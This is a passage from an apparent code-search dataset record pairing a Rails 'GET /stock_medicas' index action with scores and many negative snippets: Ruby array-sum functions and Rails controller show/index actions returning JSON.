"def total(array)\n sum = array.inject(:+)\n sum\nend",
"def array_sum(arr)\n\n sum = 0\n arr.each {|n| sum += n}\n\n sum\nend",
"def total (array)\n\tsum = 0\n\n\tarray.each {|x| sum = sum + x}\n\treturn sum\nend",
"def total(array)\n\tsum = 0\n\tarray.each {|number| sum += number}\n\tsum\nend",
"def sum(array)\n return array.inject(0, &:+)\nend",
"def sum_of_sums(array)\n\n sums_array = []\n\n sum = 0\n array.each do |value|\n sum += value\n sums_array << sum\n end\n \n sums_array.sum\nend",
"def sum (array)\n y=array.inject(:+).to_i\nend",
"def add_array(array)\n sum = 0\n for i in array do\n sum += i\n end\n sum\nend",
"def total (array)\n\tarray.inject { |sum, n| sum + n }\nend",
"def sum_array (arr)\n result = 0\n arr.each do |value|\n result +=value\n end\n result\nend",
"def sum_of_sums(arr)\n sum = 0\n total = 0\n\n arr.each do |num|\n sum += num\n total += sum\n end\n total\nend",
"def sum_of_sums(arr)\n sum = 0\n total = 0\n\n arr.each do |num|\n sum += num\n total += sum\n end\n total\nend",
"def sum_array(array)\n sum = 0\n array.each do |i|\n sum+=i\n end\n sum\nend",
"def sum_of_sums(array)\r\n total = array[0]\r\n new_arr = []\r\n array.each do |x|\r\n if new_arr.empty?\r\n new_arr << x\r\n else\r\n total += x\r\n new_arr << total\r\n end\r\n end\r\n new_arr.reduce(:+)\r\nend",
"def add_all_numbers(array)\n array.inject(:+)\nend",
"def sum1(array)\r\n sum = 0\r\n array.each do |number|\r\n sum += number\r\n end\r\n sum\r\nend",
"def sum(array)\n array.inject(0, :+)\nend",
"def it_arr_sum(array)\r\n sum = 0\r\n array.each {|ele| sum += ele}\r\n return sum\r\nend",
"def sum(array)\n\tanswer = 0\n\tif array.length > 0 then\n\t\tarray.each {|x| answer += x}\n\telse\n\t\treturn 0\n\tend\n\treturn answer\nend",
"def sum arr\n arr.reduce(0, :+)\nend",
"def sum arr\n arr.reduce(0, :+)\nend",
"def sum(theArray)\n\ttotal = 0\n\ttheArray.each do |i|\n\t\ttotal = total + i\n\tend\n\treturn total\nend",
"def sum(arr)\n arr.inject(:+)\nend",
"def total(array)\n\tarray.inject { |sum, x| sum + x }\nend",
"def total (array)\n sum = 0\n array.each do |i|\n sum + i\n end\n return sum\nend",
"def sum_of_sums(array)\n n = 1\n running_total = 0\n while n <= array.size\n running_total += array.first(n).reduce(:+)\n n += 1\n end\n running_total\nend",
"def total(array)\n sum = 0\n array.each do |n|\n sum += n\n end\n sum\nend",
"def array_sum(arr)\n\tsum = 0\n\n\t# an for each loop\n\tfor i in arr\n\t\tsum += i\n\tend\n\t\n\treturn sum\n\t\nend",
"def sum(arr)\n arr.reduce(0, :+)\nend",
"def sum(array)\n return 0 if array.empty?\n array.inject(:+)\nend",
"def total(array)\n\tsum = 0\n\tarray.each { |x| sum += x }\t\n\tsum\nend",
"def sum(arr)\n arr.inject(0.0) { |sum, el| sum + el.to_f }\n end",
"def total(array_of_numbers)\n sum = 0\n array_of_numbers.each do |num|\n sum += num\n end\n return sum\nend",
"def total (array)\n\tsum=0\n\tarray.each do |n| sum += n\n\tend\n\treturn sum\nend",
"def sum_of_sums(array)\n total = 0\n\n 1.upto(array.size) do |num|\n total += array.slice(0, num).reduce(:+)\n end\n total\nend",
"def total(array)\n sum = 0\n array.each{ |x| sum += x }\nend",
"def total(array)\n sum = 0\n array.each{ |x| sum += x }\nend",
"def sum(arr)\n arr.reduce {|a,b| a+b}\n #correction : arr.reduce(:+,0) marche aussi\nend",
"def array_sum(arr)\n arr.reduce(0) {|sum, el| sum + el}\nend",
"def sum arr\n #Just iterate through the array and add each element to the sum\n sum = 0\n for val in arr\n \tsum = sum + val\n end\n sum\nend",
"def sum_array(array)\n the_sum_of_array = array.sum\n the_sum_of_array\nend",
"def total(array)\n\tarray.inject(:+)\nend",
"def sum(array)\n total = 0.0\n array.each { |num| total += num }\n return total\nend",
"def sum_array(array)\n array.sum\nend",
"def total(array)\n sum = 0\n array.each { |i| sum += i }\n return sum\nend"
] | [
"0.8539114",
"0.85326296",
"0.84852904",
"0.8444516",
"0.8386815",
"0.83837205",
"0.83380973",
"0.8325479",
"0.83118373",
"0.83118373",
"0.83092767",
"0.8308449",
"0.829765",
"0.8279262",
"0.82774466",
"0.82728654",
"0.82638484",
"0.825984",
"0.825612",
"0.8256119",
"0.82517344",
"0.82506233",
"0.824564",
"0.8244417",
"0.82358456",
"0.8220709",
"0.82166094",
"0.8211273",
"0.82105726",
"0.82055026",
"0.8204058",
"0.8199918",
"0.81975394",
"0.81903076",
"0.8186844",
"0.8183054",
"0.8178595",
"0.8171342",
"0.8171342",
"0.8171342",
"0.816685",
"0.8161604",
"0.8161209",
"0.8159533",
"0.81519854",
"0.8149624",
"0.8145925",
"0.8145078",
"0.81343734",
"0.8125352",
"0.8122504",
"0.81115305",
"0.81098783",
"0.81076473",
"0.81060475",
"0.8104174",
"0.8096366",
"0.809379",
"0.80869895",
"0.8086233",
"0.8084813",
"0.8080005",
"0.8075355",
"0.8071825",
"0.8070962",
"0.8068767",
"0.80633825",
"0.80633825",
"0.80628425",
"0.806249",
"0.80605865",
"0.805526",
"0.80526537",
"0.80490357",
"0.8047712",
"0.8045009",
"0.80442995",
"0.80388254",
"0.80329216",
"0.80309314",
"0.8029006",
"0.80275965",
"0.8027195",
"0.80242443",
"0.80235434",
"0.8020501",
"0.80204695",
"0.8015872",
"0.8015351",
"0.801423",
"0.8006478",
"0.8006456",
"0.8006456",
"0.8003387",
"0.79955935",
"0.79913384",
"0.79903567",
"0.7983883",
"0.7975605",
"0.79753345",
"0.7967504"
] | 0.0 | -1 |
GET /stock_medicas GET /stock_medicas.json | def index
@stock_medicas = StockMedica.all
@ficha_medicas = FichaMedica.all
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_stock_medica\n @stock_medica = StockMedica.find(params[:id])\n end",
"def show\n @stock = Stock.find(params[:id])\n\n render json: @stock\n end",
"def show\n @sp500_stock = Sp500Stock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sp500_stock }\n end\n end",
"def show\n @stock = Stock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stock }\n end\n end",
"def show\n @stock = Stock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stock }\n end\n end",
"def show\n @stock = Stock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stock }\n end\n end",
"def show\n @stock = Stock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stock }\n end\n end",
"def index\n @medications = Medication.all\n render json: @medications\n end",
"def show\n @total_stock = TotalStock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @total_stock }\n end\n end",
"def show\n @movimiento_stock = MovimientoStock.find(params[:id])\n @detalles_movimientos_stocks=DetalleMovimientoStock.find(:all,:conditions=>['id_movimiento_stock = ? ',@movimiento_stock.id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @movimiento_stock }\n end\n end",
"def index\n @forecast_msizes = ForecastMsize.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @forecast_msizes }\n end\n end",
"def index\n @unidade_medidas = UnidadeMedida.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @unidade_medidas }\n end\n end",
"def show\n @medicamento = Medicamento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @medicamento }\n end\n end",
"def index\n @product = Product.find(params[:product_id])\n @product_stocks = @product.product_stocks\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @product_stocks }\n end\n end",
"def show\n @title = \"Current Medic\"\n @medic = Medic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @medic }\n end\n end",
"def show\n @monthly_finance = MonthlyFinance.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @monthly_finance }\n end\n end",
"def show\n @forecast_msize = ForecastMsize.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @forecast_msize }\n end\n end",
"def show\n @medzz = Medzz.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @medzz }\n end\n end",
"def show\n @metum = Metum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @metum }\n end\n end",
"def show\n @receita_medica = ReceitaMedica.find(params[:id])\n @item_receitas = @receita_medica.item_receitas.all\n respond_to do |format|\n format.html # show.html.erb \n format.json { render json: {\n :receita => @receita_medica, \n :medicamentos => @receita_medica.item_receitas.collect {|t| [t.medicamento.nome, t.posologia, t.quantidade]} } }\n end\n end",
"def show\n @medhistory = Medhistory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @medhistory }\n end\n end",
"def show\n @product_stock = ProductStock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product_stock }\n end\n end",
"def show\n @product_stock = ProductStock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @product_stock }\n end\n end",
"def set_medicine_stock\n @medicine_stock = MedicineStock.find(params[:id])\n end",
"def show\n @mercado_metum = MercadoMetum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mercado_metum }\n end\n end",
"def show\n @stocklist = Stocklist.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stocklist }\n end\n end",
"def show\n @medio = Medio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @medio }\n end\n end",
"def index\n @medalhas = Medalha.all\n end",
"def show\n @stock_resource = StockResource.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stock_resource }\n end\n end",
"def index\n @title = \"Doctor List\"\n @medics = Medic.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @medics }\n end\n end",
"def index\n @medicals = Medical.all\n end",
"def index\n @medicos = Medico.all\n end",
"def show\n @volume_metadatum = VolumeMetadatum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @volume_metadatum }\n end\n end",
"def show\n @feedstock = Feedstock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feedstock }\n end\n end",
"def show\n @mencion = Mencion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mencion }\n end\n end",
"def index\n @medical_camps = MedicalCamp.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @medical_camps }\n end\n end",
"def index\n @mercado_meta = MercadoMetum.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mercado_meta }\n end\n end",
"def index\n @musics = Music.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @musics }\n end\n end",
"def show\n @goods_stock = GoodsStock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @goods_stock }\n format.js\n end\n end",
"def show\n @medida = Medida.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @medida }\n end\n end",
"def show\n @unidade_medida = UnidadeMedida.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @unidade_medida }\n end\n end",
"def index\n @relaciones_articulos_medida = RelacionArticuloMedida.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @relaciones_articulos_medida }\n end\n end",
"def index\n @musics = Music.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @musics }\n end\n end",
"def index\n @price_medicines = PriceMedicine.all\n end",
"def show\n @medicine = Medicine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @medicine }\n end\n end",
"def show\n @stock_entry = StockEntry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stock_entry }\n end\n end",
"def show\n\t\t@medical = Medical.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.json { render json: @medical }\n\t\tend\n\tend",
"def index\n @medical_services = MedicalService.all\n end",
"def new\n @sp500_stock = Sp500Stock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sp500_stock }\n end\n end",
"def index\n @stock_results = StockResult.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @stock_results }\n end\n end",
"def show\r\n render json: @registro_medicion.to_json, status: :ok\r\n end",
"def index\n @cmms = Cmm.all\n render json: @cmms\n end",
"def show\n @moresmallmobsquad = Moresmallmobsquad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @moresmallmobsquad }\n end\n end",
"def index\n @medicinas = Medicina.all\n end",
"def index\n headers['Last-Modified'] = Time.now.httpdate\n session_id = nil\n\n if !params[:symbols].nil?\n syms = params[:symbols].split(\",\")\n @stocks = params[:latest] ? [] : Stock.where(symbol: syms)\n\n login_response = AmeritradeHelper.login(params)\n puts \"*** login response #{login_response}\"\n unless login_response.nil?\n session_id = login_response[:session_id]\n login_date = login_response[:login_date]\n end\n\n if !session_id.nil?\n syms.each do |sym|\n new_stocks = AmeritradeHelper.get_stock_symbol(sym, !params[:historic].nil?, params, session)\n @stocks = @stocks + new_stocks unless new_stocks.nil? || !new_stocks.length\n end\n else\n puts \"*** session id is nil\"\n end\n\n else\n @stocks = Stock.all\n end\n\n response = {\n :meta => {\n :session_id => session_id,\n :login_date => login_date\n },\n :data => {\n # :stocks => @stocks.sort_by &:date\n # :stocks => @stocks.order(:date)\n :stocks => @stocks\n }\n }\n\n respond_to do |format|\n format.html\n format.json { render json: response }\n end\n end",
"def show\n @incomestock = Incomestock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @incomestock }\n end\n end",
"def show\n @stock_type = StockType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stock_type }\n end\n end",
"def index\n @stock_prices = StockPrice.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @stock_prices }\n end\n end",
"def fetch_medals\n updated_medals = []\n medal_divs = @career.search(\"div.medalBlock\")\n medal_divs.each do |div| \n ranked = (div/\"span.top\").inner_html.gsub(\",\",\"\").to_i\n social = (div/\"span.bot\").inner_html.gsub(\",\",\"\").to_i\n name_id = MEDAL_IDS[div.at(\"div\")[:id]]\n updated_medals << { :medal_name_id => name_id, :playlist_type => 1, :gamertag_id => self.id, :quantity => ranked }\n updated_medals << { :medal_name_id => name_id, :playlist_type => 2, :gamertag_id => self.id, :quantity => social }\n end\n return updated_medals\n end",
"def index\n @monthly_finances = MonthlyFinance.all\n # respond_to do |format|\n # format.html # index.html.erb\n # format.json { render json: @monthly_finances }\n # end\n end",
"def show\n @sm_volume = SmVolume.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sm_volume }\n end\n end",
"def index\n @cloth_measures = ClothMeasure.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cloth_measures }\n end\n end",
"def index\n @mdistantmetastasis = Mdistantmetastasi.all\n end",
"def index\n @currentmedicals = Currentmedical.all\n end",
"def show\n @remedio = Remedio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @remedio }\n end\n end",
"def new\n @stock = Stock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stock }\n end\n end",
"def new\n @stock = Stock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stock }\n end\n end",
"def new\n @stock = Stock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stock }\n end\n end",
"def new\n @stock = Stock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stock }\n end\n end",
"def new\n @stock = Stock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stock }\n end\n end",
"def new\n @stock = Stock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stock }\n end\n end",
"def userStocks\n render :json => StockPresenter.new.getStocks(current_user.id)\n end",
"def show\n @stock_price = StockPrice.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stock_price }\n end\n end",
"def getStocksByUser\n @stocks = current_user.stocks\n\n respond_to do |format|\n format.html { render :partial => \"stocks\"}\n format.json { render json: @stocks }\n end\n end",
"def magasin\r\n \tvil = params[:id]\r\n \tmagasin = Market.where(vil_id: vil, type_id: 5)\r\n \trender json: magasin\r\n end",
"def get_modelos\n marca = Marca.find(params[:marca_id])\n @modelos = Modelo.of_marca(marca.id)\n\n render json: @modelos\n\n end",
"def stock_medica_params\n params.require(:stock_medica).permit(:cantidad, :medicamento_id)\n end",
"def show\n @musique = Musique.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @musique }\n end\n end",
"def destroy\n @stock_medica.destroy\n respond_to do |format|\n format.html { redirect_to stock_medicas_url, notice: 'Stock medica was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def show\n @sm = Sm.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sm }\n end\n end",
"def show\n respond_to do |format|\n format.html\n format.json { render json: @maudio}\n end\n end",
"def medals\n # --- \"Medals\" tab: ---\n @tab_title = I18n.t('radiography.medals_tab')\n @medal_types = MedalType.all.sort_by_rank\n sm = SwimmerMedals.new( @swimmer )\n sm.retrieve_data\n @swimmer_medals_dao = sm.get_medals_dao\n end",
"def index\n\t\t@medicals = Medical.all\n\t\thide_create_action\n\t\thide_view_action\n\t\thide_remove_action\n\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.json { render json: @medicals }\n\t\tend\n\tend",
"def index\n @quantities = Quantity.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @quantities }\n end\n end",
"def index\n @mugshots = Mugshot.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mugshots }\n end\n end",
"def show\n @mapeamento = Mapeamento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mapeamento }\n end\n end",
"def show\n @medication_report = MedicationReport.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @medication_report }\n end\n end",
"def create\n @stock_medica = StockMedica.new(stock_medica_params)\n \n respond_to do |format|\n if @stock_medica.save\n format.html { redirect_to @stock_medica, notice: 'Fue Crado stock' }\n format.json { render :show, status: :created, location: @stock_medica }\n else\n format.html { render :new }\n format.json { render json: @stock_medica.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n headers['Last-Modified'] = Time.now.httpdate\n session_id = nil\n\n if !params[:symbols].nil?\n syms = params[:symbols].split(\",\")\n # @stock_options = StockOption.where(symbol: syms)\n @stock_options = []\n\n login_response = AmeritradeHelper.login(params)\n puts \"*** login response #{login_response}\"\n unless login_response.nil?\n session_id = login_response[:session_id]\n login_date = login_response[:login_date]\n end\n\n if !session_id.nil?\n syms.each do |sym|\n # AmeritradeHelper.delete_stock_options(sym)\n new_stock_options = AmeritradeHelper.get_stock_option_symbol(sym, !params[:historic].nil?, params[:minDaysExp], params[:maxDaysExp])\n @stock_options = @stock_options + new_stock_options unless new_stock_options.nil? || !new_stock_options.length\n end\n else\n puts \"*** session id is nil\"\n end\n\n else\n @stock_options = StockOption.all\n end\n\n response = {\n :meta => {\n :session_id => session_id,\n :login_date => login_date\n },\n :data => {\n :stock_options => @stock_options\n }\n }\n\n respond_to do |format|\n format.html\n format.json { render json: response }\n end\n\n # @stock_options = StockOption.all\n end",
"def show\n @relacion_articulo_medida = RelacionArticuloMedida.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @relacion_articulo_medida }\n end\n end",
"def index\n @series_has_manifestations = SeriesHasManifestation.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @series_has_manifestations }\n end\n end",
"def index\n @medicamentos = Medicamento.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @medicamentos }\n end\n end",
"def show\n @stock_transaction = StockTransaction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stock_transaction }\n end\n end",
"def index\n @stocks = Stock.all.paginate(:page => params[:page], :per_page => 15, :total_entries => 1500)\n \n drop_breadcrumb(\"股票\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @stocks }\n end\n end",
"def index\n @mesasredondas = Mesasredonda.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mesasredondas }\n end\n end",
"def index\n @movers = Mover.all\n\n render json: @movers\n end",
"def index\n @mata_mata = MataMatum.all\n end",
"def show\n @moresmalltrial = Moresmalltrial.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @moresmalltrial }\n end\n end",
"def index\n @product_managements = ProductManagement.all\n\n render json: @product_managements\n end",
"def index\n @material_types = MaterialType.all\n\n render json: @material_types\n end"
] | [
"0.6608475",
"0.66066617",
"0.6447631",
"0.64406407",
"0.64406407",
"0.64406407",
"0.64406407",
"0.64390206",
"0.64215827",
"0.64080596",
"0.64051867",
"0.64020777",
"0.6385608",
"0.63731736",
"0.63195616",
"0.6225285",
"0.6181717",
"0.6180003",
"0.617852",
"0.61690027",
"0.61689144",
"0.61669034",
"0.6138513",
"0.61335653",
"0.6132165",
"0.6128918",
"0.6106947",
"0.60541606",
"0.60513794",
"0.6042909",
"0.6019361",
"0.60170454",
"0.6009067",
"0.60033846",
"0.6001286",
"0.5998145",
"0.5997602",
"0.5995593",
"0.5984378",
"0.5973689",
"0.59704053",
"0.59699136",
"0.5956274",
"0.59513456",
"0.5947688",
"0.5940321",
"0.59354776",
"0.5934314",
"0.5930525",
"0.59204906",
"0.5912743",
"0.5904025",
"0.59010684",
"0.58986247",
"0.5898585",
"0.5895922",
"0.589087",
"0.5888414",
"0.5876597",
"0.5868027",
"0.58660644",
"0.58588153",
"0.58440584",
"0.5827439",
"0.58248764",
"0.5823229",
"0.5823229",
"0.5823229",
"0.5823229",
"0.5823229",
"0.5823229",
"0.58219266",
"0.5817944",
"0.58115077",
"0.5810473",
"0.58086056",
"0.58080417",
"0.5807936",
"0.58027923",
"0.5802379",
"0.5801134",
"0.57965285",
"0.5789291",
"0.5780243",
"0.5778201",
"0.5757918",
"0.57502896",
"0.57500774",
"0.574785",
"0.57389665",
"0.573741",
"0.57356703",
"0.57337797",
"0.5730444",
"0.5722853",
"0.5720794",
"0.5716878",
"0.5707197",
"0.57046115",
"0.5696182"
] | 0.6583219 | 2 |
GET /stock_medicas/1 GET /stock_medicas/1.json | def show
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show\n @stock = Stock.find(params[:id])\n\n render json: @stock\n end",
"def set_stock_medica\n @stock_medica = StockMedica.find(params[:id])\n end",
"def show\n @sp500_stock = Sp500Stock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sp500_stock }\n end\n end",
"def show\n @stock = Stock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stock }\n end\n end",
"def show\n @stock = Stock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stock }\n end\n end",
"def show\n @stock = Stock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stock }\n end\n end",
"def show\n @stock = Stock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stock }\n end\n end",
"def show\n @movimiento_stock = MovimientoStock.find(params[:id])\n @detalles_movimientos_stocks=DetalleMovimientoStock.find(:all,:conditions=>['id_movimiento_stock = ? ',@movimiento_stock.id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @movimiento_stock }\n end\n end",
"def show\n @total_stock = TotalStock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @total_stock }\n end\n end",
"def show\n @title = \"Current Medic\"\n @medic = Medic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @medic }\n end\n end",
"def show\n @medicamento = Medicamento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @medicamento }\n end\n end",
"def show\n @monthly_finance = MonthlyFinance.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @monthly_finance }\n end\n end",
"def show\n @metum = Metum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @metum }\n end\n end",
"def index\n @stock_medicas = StockMedica.all\n @ficha_medicas = FichaMedica.all\n end",
"def index\n @product = Product.find(params[:product_id])\n @product_stocks = @product.product_stocks\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @product_stocks }\n end\n end",
"def show\n @product_stock = ProductStock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product_stock }\n end\n end",
"def show\n @forecast_msize = ForecastMsize.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @forecast_msize }\n end\n end",
"def set_medicine_stock\n @medicine_stock = MedicineStock.find(params[:id])\n end",
"def show\n @product_stock = ProductStock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @product_stock }\n end\n end",
"def index\n @medications = Medication.all\n render json: @medications\n end",
"def show\n @medhistory = Medhistory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @medhistory }\n end\n end",
"def show\n @stock_resource = StockResource.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stock_resource }\n end\n end",
"def show\n @medzz = Medzz.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @medzz }\n end\n end",
"def index\n @forecast_msizes = ForecastMsize.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @forecast_msizes }\n end\n end",
"def show\n @volume_metadatum = VolumeMetadatum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @volume_metadatum }\n end\n end",
"def show\n @stocklist = Stocklist.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stocklist }\n end\n end",
"def show\n @medio = Medio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @medio }\n end\n end",
"def show\n @mercado_metum = MercadoMetum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mercado_metum }\n end\n end",
"def show\n @stock_type = StockType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stock_type }\n end\n end",
"def show\n @feedstock = Feedstock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feedstock }\n end\n end",
"def index\n @unidade_medidas = UnidadeMedida.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @unidade_medidas }\n end\n end",
"def show\n @stock_entry = StockEntry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stock_entry }\n end\n end",
"def new\n @sp500_stock = Sp500Stock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sp500_stock }\n end\n end",
"def show\n @medicine = Medicine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @medicine }\n end\n end",
"def show\n @sm_volume = SmVolume.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sm_volume }\n end\n end",
"def show\n @mencion = Mencion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mencion }\n end\n end",
"def show\n @receita_medica = ReceitaMedica.find(params[:id])\n @item_receitas = @receita_medica.item_receitas.all\n respond_to do |format|\n format.html # show.html.erb \n format.json { render json: {\n :receita => @receita_medica, \n :medicamentos => @receita_medica.item_receitas.collect {|t| [t.medicamento.nome, t.posologia, t.quantidade]} } }\n end\n end",
"def show\n @incomestock = Incomestock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @incomestock }\n end\n end",
"def show\n @goods_stock = GoodsStock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @goods_stock }\n format.js\n end\n end",
"def show\n @stock_price = StockPrice.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stock_price }\n end\n end",
"def show\n @unidade_medida = UnidadeMedida.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @unidade_medida }\n end\n end",
"def show\n\t\t@medical = Medical.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.json { render json: @medical }\n\t\tend\n\tend",
"def show\n @stock_transaction = StockTransaction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stock_transaction }\n end\n end",
"def show\n @medida = Medida.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @medida }\n end\n end",
"def new\n @stock = Stock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stock }\n end\n end",
"def new\n @stock = Stock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stock }\n end\n end",
"def new\n @stock = Stock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stock }\n end\n end",
"def new\n @stock = Stock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stock }\n end\n end",
